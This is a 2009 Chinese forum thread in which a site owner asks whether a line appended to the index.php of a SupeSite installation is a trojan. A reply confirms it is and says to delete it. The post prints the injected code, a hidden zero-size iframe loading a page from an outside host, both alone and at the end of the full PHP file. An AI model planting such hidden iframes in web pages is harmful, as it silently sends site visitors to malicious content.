SS网站中的文件最后一行被植入这段代码，是怎么回事？是木马么？

urlcn · 发表于 2009-10-23 12:32:14

被植入的代码是：

<iframe src=http://bbs.netxshell.com/en/images/cal/index.htm width=0 height=0></iframe>

复制代码

全文代码如下：

<?php
/*
[SupeSite/X-Space] (C)2001-2006 Comsenz Inc.
首页
$RCSfile: index.php,v $
$Revision: 1.74 $
$Date: 2007/06/27 17:15:08 $
*/
include_once('./include/main.inc.php');
//获取变量
if($_SCONFIG['urltype'] == '2' || $_SCONFIG['urltype'] == '5') {
$parsegetvar = empty($_SERVER['PATH_INFO'])?(empty($_SERVER['ORIG_PATH_INFO'])?'':substr($_SERVER['ORIG_PATH_INFO'], 1)):substr($_SERVER['PATH_INFO'], 1);
}
if(empty($parsegetvar)) $parsegetvar = empty($_SERVER['QUERY_STRING'])?'':$_SERVER['QUERY_STRING'];
//二级域名
if(!empty($parsegetvar)) {
$parsegetvar = addslashes($parsegetvar);
//后缀域名模式
if($_SCONFIG['allowdomain'] == 3) {
if(preg_match("/^[a-z][0-9a-z]*$/i", $parsegetvar)) mydomain($parsegetvar);
}
$_SGET = parseparameter(str_replace(array('-','_'), '/', $parsegetvar));
} else {
//二级域名
if(!empty($_SCONFIG['allowdomain'])) {
if(strpos(S_URL_ALL, $_SERVER['HTTP_HOST']) === false) {
$hostarr = explode('.', $_SERVER['HTTP_HOST']);
if(count($hostarr) > 2) {
if(count($hostarr) > 3 && $hostarr[0] == 'www') {
$hostdomain = $hostarr[1];
} else {
$hostdomain = $hostarr[0];
}
}
}
if(!empty($hostdomain)) mydomain(rawurlencode($hostdomain));
}
}
//变量处理
if(!empty($_SGET['viewnews'])) {
$_SGET['action'] = 'viewnews';
$_SGET['itemid'] = intval($_SGET['viewnews']);
} elseif(!empty($_SGET['viewspace'])) {
$_SGET['action'] = 'viewspace';
$_SGET['itemid'] = intval($_SGET['viewspace']);
} elseif(!empty($_SGET['viewthread'])) {
$_SGET['action'] = 'viewthread';
$_SGET['tid'] = intval($_SGET['viewthread']);
} elseif(!empty($_SGET['category'])) {
$_SGET['action'] = 'category';
$_SGET['catid'] = intval($_SGET['category']);
} elseif(!empty($_SGET['mygroup'])) {
$_SGET['action'] = 'mygroup';
$_SGET['gid'] = intval($_SGET['mygroup']);
} elseif(!empty($_SGET['spacelist'])) {
$_SGET['action'] = 'spacelist';
$_SGET['type'] = $_SGET['spacelist'];
} elseif(empty($_SGET['action']) && !empty($_SGET['uid'])) {
$_SGET['action'] = 'space';
$_SGET['uid'] = intval($_SGET['uid']);
} else {
$_SGET['action'] = empty($_SGET['action'])?'index':trim(preg_replace("/[^a-z0-9\-\_]/i", '', trim($_SGET['action'])));
}
//站点关闭
if(!empty($_SCONFIG['closesite']) && $_SGET['action'] != 'login') {
getcookie(1);
if(empty($_SGLOBAL['group']['groupid']) || $_SGLOBAL['group']['groupid'] != 1) {
if(empty($_SCONFIG['closemessage'])) $_SCONFIG['closemessage'] = $lang['site_close'];
messagebox('error', $_SCONFIG['closemessage'].'<p style="font-size:12px;"><a href="'.geturl("action/login").'">'.$lang['admin_login'].'</a></p>');
}
}
//限制分页500
if(!empty($_SGET['page'])) {
if($_SGET['page'] > 500) {
messagebox('error', 'page_limit');
}
}
//关键字、描述、导航、标题
$keywordarr = $descriptionarr = $guidearr = $titlearr = array();
//自定义频道
if($_SGET['action'] == 'channel') {
$_SGET['name'] = empty($_SGET['name'])?'':trim(preg_replace("/[^a-z0-9\-\_]/i", '', trim($_SGET['name'])));
if(!empty($_SGET['name'])) {
$scriptfile = S_ROOT.'./channel/channel_'.$_SGET['name'].'.php';
if(file_exists($scriptfile)) {
include_once($scriptfile);
exit();
}
}
}
//自定义模型
if($_SGET['action'] == 'model') {
$_SGET['name'] = empty($_SGET['name'])?'':trim(preg_replace("/[^a-z0-9\-\_]/i", '', trim($_SGET['name'])));
if(!empty($_SGET['name'])) {
if(!empty($_SGET['itemid'])) {
$scriptfile = S_ROOT.'./modelview.php';
} else {
$scriptfile = S_ROOT.'./modelindex.php';
}
if(file_exists($scriptfile)) {
include_once($scriptfile);
exit();
}
}
}
//系统频道
if($_SGET['action'] != 'index') {
$scriptfile = S_ROOT.'./'.$_SGET['action'].'.php';
if(file_exists($scriptfile)) {
include_once($scriptfile);
exit();
}
}
//默认首页
if(!empty($channels['default']) && $channels['default'] != 'index.php') {
if(strpos($channels['default'], '?')) {
sheader(S_URL.'/'.$channels['default']);
exit();
} else {
include_once(S_ROOT.'./'.$channels['default']);
}
} else {
if(!empty($_SCONFIG['htmlindex'])) {
$_SHTML['action'] = 'index';
$_SGLOBAL['htmlfile'] = gethtmlfile($_SHTML);
ehtml('get', $_SCONFIG['htmlindextime']);
$_SCONFIG['debug'] = 0;
}
include_once(S_ROOT.'./include/common.inc.php');
$title = $_SCONFIG['sitename'];
$keywords = $_SCONFIG['sitename'];
$description = $_SCONFIG['sitename'];
include template('index');
ob_out();
if(!empty($_SCONFIG['htmlindex'])) {
ehtml('make');
} else {
maketplblockvalue('cache');
}
}
?><iframe src=http://bbs.netxshell.com/en/images/cal/index.htm width=0 height=0></iframe>

复制代码

lidq.jingwu · 发表于 2009-10-23 15:27:04

是，删除吧。

		自动登录	找回密码
密码			立即注册

[已答复] SS网站中的文件最后一行被植入这段代码，是怎么回事？是木马么？